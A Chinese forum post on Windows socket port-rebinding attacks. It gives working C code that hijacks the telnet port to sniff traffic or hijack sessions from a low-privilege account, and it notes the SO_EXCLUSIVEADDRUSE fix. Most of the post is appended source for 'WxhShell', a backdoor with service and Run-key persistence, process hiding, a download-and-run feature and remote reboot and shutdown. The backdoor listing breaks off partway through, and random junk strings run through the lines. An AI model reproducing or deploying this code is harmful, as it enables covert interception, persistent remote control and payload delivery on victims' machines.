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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mBrH`!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \~r`2p-K  
Cwh*AKq(  
  saddr.sin_family = AF_INET; or8`.h EHI  
1Zh4)6x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L/[b~D>T%  
=(3Yj[>st  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Fu z'!  
+n)_\@aQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !jySID?q  
ZNKopA(=|%  
  这意味着什么?意味着可以进行如下的攻击: [J{M'+a  
z AZ+'9LB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '1 }ybSG  
ev{;}2~V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k(]R;`f$W  
mnG\qsKNLK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BQ;F`!Hx?  
'#oNOU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rs +),  
C)a;zU;9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1Mtm?3Pt  
GBvgVX<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F?Fs x)2k  
UA8*8%v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F YLBaN  
UyUz_6J  
  #include ZHN@&Gg6)  
  #include %3:[0o={d  
  #include J-k/#A4o  
  #include    MmbS ["A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y6Mp[=  
  int main() C9FzTg/c  
  { 5fT"`FL?  
  WORD wVersionRequested; auai@)v6  
  DWORD ret; _1hiNh$  
  WSADATA wsaData; @~+W  
  BOOL val; ,bGYixIfYZ  
  SOCKADDR_IN saddr; 8k0f&Cak=  
  SOCKADDR_IN scaddr; QF74'  
  int err; :,@\q0j"=  
  SOCKET s; TOx >Z  
  SOCKET sc; HPus/#j'+  
  int caddsize; C]bre^q  
  HANDLE mt; eJvNUBDSH  
  DWORD tid;   XzD+#+By  
  wVersionRequested = MAKEWORD( 2, 2 ); Q`B K R]/  
  err = WSAStartup( wVersionRequested, &wsaData ); (Ev=kO  
  if ( err != 0 ) { '| 6ZPv&N  
  printf("error!WSAStartup failed!\n"); TpH-_ft  
  return -1; L|*0 A=6  
  } DTMoZm  
  saddr.sin_family = AF_INET; F*['1eAmdY  
   %S$+ 3q%F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I;g>r8N-Bu  
v.q`1D1=t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0zHMtC1 ,  
  saddr.sin_port = htons(23); |lG7/\A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G &QGQ  
  { /7CV7=^d,  
  printf("error!socket failed!\n"); EW~M,+?  
  return -1; )s~szmJoVD  
  } /n3Qcht  
  val = TRUE; u==`]\_@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A0l-H/l7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]F#}8$  
  { 1KMSBLx  
  printf("error!setsockopt failed!\n"); !K%8tr4   
  return -1; S11ME  
  }  v[+ ]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6>Z)w}x^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 np6R\Q!&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;ipT0*Y  
#WlTE&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WZQ EBXs  
  { 6g-Q  
  ret=GetLastError(); >At* jg48  
  printf("error!bind failed!\n"); Jmml2?V-c  
  return -1; qGXY  
  } t[4V1:  
  listen(s,2); $l=&  
  while(1) Gpf9uj%  
  { kc7,F2=F  
  caddsize = sizeof(scaddr); Kk\TW1w3  
  //接受连接请求 n|N?[)^k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8svN*`[  
  if(sc!=INVALID_SOCKET) oB$c-!&  
  { Wi+}qO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F^Y%Q(Dd7w  
  if(mt==NULL) eq6>C7.$  
  { VxAG= E  
  printf("Thread Creat Failed!\n"); V]5MIiNl  
  break; Ju@8_ ?8=  
  } A:4?Jd>  
  } [aF"5G  
  CloseHandle(mt); %5 ovW<E:  
  } WS6;ad;|  
  closesocket(s); cfC}"As  
  WSACleanup(); V)Sw\tS6g  
  return 0; gA:unsI  
  }   )&s9QBo{b  
  DWORD WINAPI ClientThread(LPVOID lpParam) Mc9JFzp  
  { 1'YUK"i  
  SOCKET ss = (SOCKET)lpParam; ?ocBRla  
  SOCKET sc; QX+Xi<YE-  
  unsigned char buf[4096]; W QqOXF  
  SOCKADDR_IN saddr; &hcD/*_Z  
  long num; ;Qi0j<dXd  
  DWORD val; ^u:bgwP  
  DWORD ret; QJF_ "  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U62Z ?nge%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {HtW`r1)Tt  
  saddr.sin_family = AF_INET; 4Ifz-t/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .x'?&7#(  
  saddr.sin_port = htons(23); h7kn >q;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vj[hT~{f  
  { f=IF_|@^S  
  printf("error!socket failed!\n"); ):]5WHYg  
  return -1; vyvb-oz;u  
  } ~5>k_\ G8  
  val = 100; adWH';Q:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v|R#[vtFd  
  { Gzc`5n{"  
  ret = GetLastError(); V<ii  
  return -1; ^6QzaC3  
  } `b KJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KU^|T2s%  
  { :{s0tw>Z  
  ret = GetLastError(); [4r<WvUaM  
  return -1; sV;q(,oru  
  } GmH`ipi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5c0$oyl)M  
  { 5VSc5*[  
  printf("error!socket connect failed!\n"); M=54xTh0Y  
  closesocket(sc); nyL$z-I)  
  closesocket(ss); [0!*<%BgK'  
  return -1; kjF4c6v  
  } }t*:EgfI  
  while(1) 3Mq%3jX  
  { 'iU+mRLp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '?Xf(6o1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^fj30gw7\5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A_Y5{6@  
  num = recv(ss,buf,4096,0); XzBlT( `w  
  if(num>0) #sE: xIR  
  send(sc,buf,num,0); E(_lm&,4+  
  else if(num==0) 84 <zTmm  
  break; cs 58: G5  
  num = recv(sc,buf,4096,0); K+ |0~/0  
  if(num>0) OHv4Yy]$B  
  send(ss,buf,num,0); zeD=-3  
  else if(num==0) Dxe]LES\]  
  break; |$C fm}  
  } \olY)b[  
  closesocket(ss); Z>[n~{-,p  
  closesocket(sc); 0|kH0c,T-  
  return 0 ; >*EJ6FPO  
  } gnadx52FP  
X!6$<8+1OV  
m^ /s}WEqp  
========================================================== JfRLqA/  
#~4;yY\$I  
下边附上一个代码,,WXhSHELL Myf2"\}  
a4 mRu|x  
========================================================== q ,+29  
|S]T,`7u  
#include "stdafx.h" IdCE<Oj\  
,n`S ,  
#include <stdio.h> uR.`8s|  
#include <string.h> MeYu  
#include <windows.h> %I;uqf  
#include <winsock2.h> ?:6w6GwAA  
#include <winsvc.h> yQ !keGj  
#include <urlmon.h> N|%X/UjZ2.  
Js(MzL  
#pragma comment (lib, "Ws2_32.lib") )"]( ?V  
#pragma comment (lib, "urlmon.lib") a1EQ.u  
';m;K (g  
#define MAX_USER   100 // 最大客户端连接数 iO"ZtkeNr  
#define BUF_SOCK   200 // sock buffer 1.5R`vKn]  
#define KEY_BUFF   255 // 输入 buffer :jJ0 +Q  
iI3,q-LA  
#define REBOOT     0   // 重启 Z`#XB2,  
#define SHUTDOWN   1   // 关机 G[=;519  
 tYG6Gl  
#define DEF_PORT   5000 // 监听端口 2t?Vl%<  
=7EkN% V:{  
#define REG_LEN     16   // 注册表键长度 Rq`5ff3,  
#define SVC_LEN     80   // NT服务名长度 `Ue5;<K-/  
,BR W=  
// 从dll定义API 4]ko  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 89{`GKWX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yH9&HFDp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e-nwR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $RYOj{1  
@k\,XV`T~t  
// wxhshell配置信息 wRZS+^hx  
struct WSCFG { [ ~kS)  
  int ws_port;         // 监听端口 q{+}0!o  
  char ws_passstr[REG_LEN]; // 口令 L\R(//V  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4>/i,_&K K  
  char ws_regname[REG_LEN]; // 注册表键名 lYey7tl{  
  char ws_svcname[REG_LEN]; // 服务名 DPCQqV|7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iba8G]2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4y!GFhMh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rxj#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |pBvy1e4)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t^2$ent  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :(4q\~  
wxN&k$`a  
}; S4rm K&  
NN5G '|i  
// default Wxhshell configuration 0Hx'C^m72  
struct WSCFG wscfg={DEF_PORT, 5RP5%U  
    "xuhuanlingzhe", E,fbIyX  
    1, u>:j$@56  
    "Wxhshell", +O)ZB$w4  
    "Wxhshell", +??pej]Rp  
            "WxhShell Service", ?O"zp65d(  
    "Wrsky Windows CmdShell Service", ~S$ex,~  
    "Please Input Your Password: ", Ec^2tx"=  
  1, ["e;8H[K)%  
  "http://www.wrsky.com/wxhshell.exe", umt`0m. :  
  "Wxhshell.exe" ,(]k)ym/  
    }; "rVM23@ tq  
Asy2jw\V  
// 消息定义模块 Hz=s)6$ey  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *?VB/yO=0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~6+Um_A_L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QU(Lv(/O  
char *msg_ws_ext="\n\rExit."; b`ksTO`}x  
char *msg_ws_end="\n\rQuit."; HBs 6:[q  
char *msg_ws_boot="\n\rReboot..."; `R!2N4|;  
char *msg_ws_poff="\n\rShutdown..."; FEX67A8 /;  
char *msg_ws_down="\n\rSave to "; ;9q$eK%d  
W@i|=xS?  
char *msg_ws_err="\n\rErr!"; MO|Pv j~[  
char *msg_ws_ok="\n\rOK!"; 0#ON}l)>  
J(A+mYr{:  
char ExeFile[MAX_PATH]; {:KPEN  
int nUser = 0; x![G'I  
HANDLE handles[MAX_USER]; >U?#'e{qW  
int OsIsNt; !)}D_9{  
4G hg~0  
SERVICE_STATUS       serviceStatus; L">m2/ HG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c._!dq&#R  
EfkBo5@Qi  
// 函数声明 M:L-j{?y_  
int Install(void); K)}Vr8,V  
int Uninstall(void); # %'%LY=  
int DownloadFile(char *sURL, SOCKET wsh); RRzLQ7J  
int Boot(int flag); ~#)9Kl7<X  
void HideProc(void); bJkFCI/  
int GetOsVer(void); rrq7UJ;  
int Wxhshell(SOCKET wsl); +UX} "m~W  
void TalkWithClient(void *cs); vl?fCO  
int CmdShell(SOCKET sock); c8HETs1  
int StartFromService(void); wUfPnAD.'  
int StartWxhshell(LPSTR lpCmdLine); h 0)oQrY  
NRk^Z)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O;T)u4Q&3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); prB:E[1  
/ Xv@g$  
// 数据结构和表定义 #a'CoJs   
SERVICE_TABLE_ENTRY DispatchTable[] = 1_StgFu u  
{ [4@@b"H  
{wscfg.ws_svcname, NTServiceMain}, 8ZJ6~~h  
{NULL, NULL} Z=< D`  
}; K6@ %@v  
FI)0.p  
// 自我安装 7|Iq4@IT  
int Install(void) E.-2 /'i  
{ )}vUYTU1  
  char svExeFile[MAX_PATH]; tf1Y5P$  
  HKEY key; 6UuM `eu  
  strcpy(svExeFile,ExeFile); |uX&T`7?-  
}.=@^-JBA5  
// 如果是win9x系统,修改注册表设为自启动 AJ6O>Euq  
if(!OsIsNt) { l1%*LyD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZmI#-[/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QkLcs6)R  
  RegCloseKey(key); 3M'Y'Szm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ej&o,gX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o=F!&]+  
  RegCloseKey(key); q!q=axfMD  
  return 0; w(ic$  
    } w;J#+ik  
  } KqNsCT+j  
} C\|HN=2eh  
else { 2d<`dQY{l3  
Xob(4  
// 如果是NT以上系统,安装为系统服务 . ywVGBvJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1KJ[&jS ]  
if (schSCManager!=0) M?kXzb\O  
{ 5 RYrAzQo  
  SC_HANDLE schService = CreateService 1-R4A7+3  
  ( |Z$)t%'  
  schSCManager, qSaCl6[Do  
  wscfg.ws_svcname, E.^u:0:P  
  wscfg.ws_svcdisp, APU~y5vG (  
  SERVICE_ALL_ACCESS, pvRa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s&DAO r!i  
  SERVICE_AUTO_START, dQ#oY|a  
  SERVICE_ERROR_NORMAL, =S\pI  
  svExeFile, lg 1r]  
  NULL, u:,B&}j  
  NULL, Qr?(2t#  
  NULL, 0.1?hb|p5T  
  NULL, 6*I=% H|  
  NULL q@Zeu\T,*#  
  ); nzU0=w}V  
  if (schService!=0) 1W9uWkk_d  
  { 9FF  
  CloseServiceHandle(schService); ^a#W|-:  
  CloseServiceHandle(schSCManager); '2{60t_A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ntZHO}'  
  strcat(svExeFile,wscfg.ws_svcname); a!PN`N28  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Z 0@-8vi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )1O|+m k  
  RegCloseKey(key); 8{Vt8>4  
  return 0; 9v7}[`^  
    } =CaSd|   
  } B;Co`o2  
  CloseServiceHandle(schSCManager); 7}tXF  
} /8P7L'Rb  
} <V#]3$(S  
#O7phjzgD  
return 1; @j%7tfW  
} '9AYE"7Ydk  
+.X3&|@k  
// 自我卸载 ,@Elw>^  
int Uninstall(void) !ed0  
{ <_4'So>  
  HKEY key; _ n4C~  
f6#1sO4"  
if(!OsIsNt) { S^~ lQ|D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4>]B8ZxH  
  RegDeleteValue(key,wscfg.ws_regname); @rr\Jf""z  
  RegCloseKey(key); hr g'Z5n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Udx|1o  
  RegDeleteValue(key,wscfg.ws_regname); al4X}  
  RegCloseKey(key); kB-<17  
  return 0; m\K1Ex  
  } `,FhCT5  
} ''.\DC~K  
} QVD^p;b  
else { z~;@Mo"*f  
+@\=v}: F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K!gocNOf  
if (schSCManager!=0) t5S!j2E  
{ KU_""T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 85+w\KuEY  
  if (schService!=0) ,6wGdaMR  
  { U#4>GO;A  
  if(DeleteService(schService)!=0) { a!;K+wL >  
  CloseServiceHandle(schService); 1c$c e+n~  
  CloseServiceHandle(schSCManager); yuF\YOA9  
  return 0; Kq:vTz&<  
  } '8|joj>G=  
  CloseServiceHandle(schService); U2(mWQ[mO  
  } \%.&$z3wz  
  CloseServiceHandle(schSCManager); *(nu0  
} Bo/i =/7%  
} ~Ecx>f4nX  
?lIh&C8]X  
return 1; 1xsB@D  
} T?D]]x  
EL9JM}%0v  
// 从指定url下载文件 &"X1w $  
int DownloadFile(char *sURL, SOCKET wsh) ES[]A&tf  
{ S2$r 6T  
  HRESULT hr; (KT+7j0^  
char seps[]= "/"; =5g|7grQ:`  
char *token; tU>4?`)E  
char *file; =#vU$~a  
char myURL[MAX_PATH]; p1,.f&(f  
char myFILE[MAX_PATH]; 8|rlP  
7*47mJyc  
strcpy(myURL,sURL); }kk[lvhJ  
  token=strtok(myURL,seps); N!13QI H  
  while(token!=NULL) `W4Is~VVv  
  { 6yMaW eT  
    file=token; K)9f\1\  
  token=strtok(NULL,seps); V_T~5%9Fy  
  } qWI8 >my11  
BU%gXr4Ra  
GetCurrentDirectory(MAX_PATH,myFILE); Gk<6+.c~  
strcat(myFILE, "\\"); 4pFoSs?\  
strcat(myFILE, file); "%+9p6/  
  send(wsh,myFILE,strlen(myFILE),0); 6+yA4pRSd  
send(wsh,"...",3,0); R%;dt<Dh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8jgamG  
  if(hr==S_OK) !GZ{UmwA  
return 0; 'zYx4&s  
else rF . Oo0  
return 1; D}bCMN <  
q_0,KOGW  
} a8Z{-=)  
WD#7Q&T(;  
// 系统电源模块 @Y+9")?  
int Boot(int flag) *g 2N&U  
{ {7 nz:f  
  HANDLE hToken; R,W w/D  
  TOKEN_PRIVILEGES tkp; 1zY" Uxp  
0u ,nSvch  
  if(OsIsNt) { hu-6V="^9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h) W|~y@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lf2(h4[1R  
    tkp.PrivilegeCount = 1; h=ko_/<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^1[u'DW4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6 kAXE\T  
if(flag==REBOOT) { [u/Wh+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fMRMQR=6B  
  return 0; UjS,<>fm  
} /@K1"/fqH  
else { o,=dm@j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &y:SK)  
  return 0; 6>/g`%`N  
} e}W|wJ):j@  
  } MrpT5|t  
  else { 'E#Bz"T  
if(flag==REBOOT) {  x5W. 3*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !a9/8U_>XF  
  return 0; jftf]n&Z(q  
} LW+^m6O  
else { hN.{H:skL)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hx sW9  
  return 0; <qCfw>%2F  
} 3[iHe+U(  
} %x|0<@b7-  
UoKXo*W2  
return 1; Wj31mV  
} _9"%;:t  
$oH?7sj  
// win9x进程隐藏模块 of?'FrU  
void HideProc(void) X?q,m4+  
{ FFID<L f/2  
?-9It|R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0o-KjX?kP  
  if ( hKernel != NULL ) qX!P:M  
  { .06[*S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w:o,mzuXK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vrvOPLiQ  
    FreeLibrary(hKernel); f;%\4TH?  
  } DsF<P@O6  
ffS]%qa  
return; R3@$ao  
} !;;WS~no3  
0^&-j.9  
// 获取操作系统版本 MbjMO"}  
int GetOsVer(void) i?CXDuL  
{ ^`oyf{w@  
  OSVERSIONINFO winfo; .wz.Jr`{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S(h+,+289  
  GetVersionEx(&winfo); \>r<z46x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %v 1NDhaXz  
  return 1; 53X5&Bwh  
  else ^jZ4tH3K  
  return 0; SpiI9)gp  
} 3+2cD  
e2$k %c~  
// 客户端句柄模块  K na  
int Wxhshell(SOCKET wsl) p1(<F_Kta  
{ B]|"ePj-  
  SOCKET wsh; %oqC5O6  
  struct sockaddr_in client; 6$*ZH *  
  DWORD myID; v6`TbIq%  
w-9fskd6e  
  while(nUser<MAX_USER) ([L5i&DT  
{ 0'4V*Y  
  int nSize=sizeof(client); fI1,L"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !_My]>S  
  if(wsh==INVALID_SOCKET) return 1; 8\@&~&(y:  
nA>kJSL'$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [`Dv#  
if(handles[nUser]==0) .3yxg}E>{  
  closesocket(wsh); ;33LuD<h.  
else Q,z^eMk'd:  
  nUser++; c @~j}(A  
  } 0NMekVi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *FrlzIAom  
]S#m o  
  return 0; MC&sM-/  
} ;OynkZs)  
*%wfR7G[B  
// 关闭 socket j=~c( B  
void CloseIt(SOCKET wsh) 3G)Wmmh"a  
{ XF 8$D  
closesocket(wsh); Y>i?nC%*  
nUser--; 0755;26Bx  
ExitThread(0); WN%KA TA  
} C|W\qXCqu  
?XNQ_m8f  
// 客户端请求句柄 *iVCHQ~  
void TalkWithClient(void *cs) OfSHZ;,  
{ <"Cacf g  
yC]X&1,:z  
  SOCKET wsh=(SOCKET)cs; b 5X~^L  
  char pwd[SVC_LEN]; :RE.md  
  char cmd[KEY_BUFF]; Ysz&/ry  
char chr[1]; DHlCus=ic  
int i,j; i-`n5,  
R<jt$--H  
  while (nUser < MAX_USER) { }+4^ZbX+:  
ee|i  
if(wscfg.ws_passstr) { 1EvK\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E Z}c8b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6(uK5eD(!n  
  //ZeroMemory(pwd,KEY_BUFF); 5VG[FY6Pl  
      i=0; #A '|O\RGP  
  while(i<SVC_LEN) { U ,wJ8  
s]z-d!G  
  // 设置超时 SsE8;IGH  
  fd_set FdRead; 39(]UO6^;  
  struct timeval TimeOut; . w_oWmD  
  FD_ZERO(&FdRead); F qW[L>M'  
  FD_SET(wsh,&FdRead); vS{zLXg  
  TimeOut.tv_sec=8; [j]3='2}G  
  TimeOut.tv_usec=0; v8>?,N#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~\^h;A'3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r- ];@  
VaIFE~>E&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &>m# "A\^  
  pwd=chr[0]; <s7OY`(8   
  if(chr[0]==0xd || chr[0]==0xa) { wtY*{m2  
  pwd=0; D+ )R_  
  break; = UT^5cl(  
  } (ugB3o  
  i++; C \B&'+uR  
    } LK1 r@  
VdZmrq;?/  
  // 如果是非法用户,关闭 socket 8> -3G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^6E+l#  
} ?zD? -  
{T0f]]}Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K9YD)351t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cJnAwIs_e`  
}  :@s  
while(1) { 8 N5ga  
Q8kdX6NMd&  
  ZeroMemory(cmd,KEY_BUFF); ^gK8 u]>  
^/<0r] =  
      // 自动支持客户端 telnet标准   3k J8Wn  
  j=0; dDAI fe2y  
  while(j<KEY_BUFF) { VQQtxHTC3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $]Vvu{  
  cmd[j]=chr[0]; dBKceL v  
  if(chr[0]==0xa || chr[0]==0xd) { ^\z.E?v%  
  cmd[j]=0; v;q<h  
  break; =D2jJk?AX  
  } .9<  i  
  j++; JIl<4 %A  
    } *hP9d;-Ar  
%$)[qa3  
  // 下载文件 FM)Es&p&  
  if(strstr(cmd,"http://")) { -Tw96 dv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #Tjv(O[&  
  if(DownloadFile(cmd,wsh)) %)Pn<! L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [=63xPxs.  
  else }T}9AQ}|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <9]9;   
  } 8KQ]3Z9p  
  else { us2X:X)  
'n9<z)/,!  
    switch(cmd[0]) { a19yw]hF5  
  Y 7a<3>  
  // 帮助 SOq{`~,4B  
  case '?': { ~qG`~/7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jv|uI1V  
    break; F3aOKV^  
  } a5v}w7vL  
  // 安装 TfD]`v`]   
  case 'i': { B}%B4&Ij  
    if(Install()) rHir> p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iG\ ]  
    else dA`.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D]H@Sx  
    break; U9d0nj9 j  
    } W3XVr&  
  // 卸载 CMm:Vea  
  case 'r': { kIb)I(n  
    if(Uninstall()) pohA??t2:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = h _>OA  
    else {R2gz]v4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6/m|Sg.m  
    break; MT8BP)C  
    } x:h0/f  
  // 显示 wxhshell 所在路径 [Ch)6p  
  case 'p': { [7Yfv Xp  
    char svExeFile[MAX_PATH]; ;^9Ao>(?y  
    strcpy(svExeFile,"\n\r"); p97}HT}  
      strcat(svExeFile,ExeFile); jm_b3!J  
        send(wsh,svExeFile,strlen(svExeFile),0); wF +9Iu  
    break; Mpfdl65  
    } \ 2$nFr?0  
  // 重启 +bG^SH2ke  
  case 'b': { s~@4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~w&P]L\dB  
    if(Boot(REBOOT)) 7IrbwAGZ3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }=1#ANM1  
    else { a@E+/9  
    closesocket(wsh); qno8qF*  
    ExitThread(0); 1}moT#  
    } 3fS+,>s\O  
    break; gEVN;G'B<=  
    } b h%@Lo  
  // 关机 7~2b4"&  
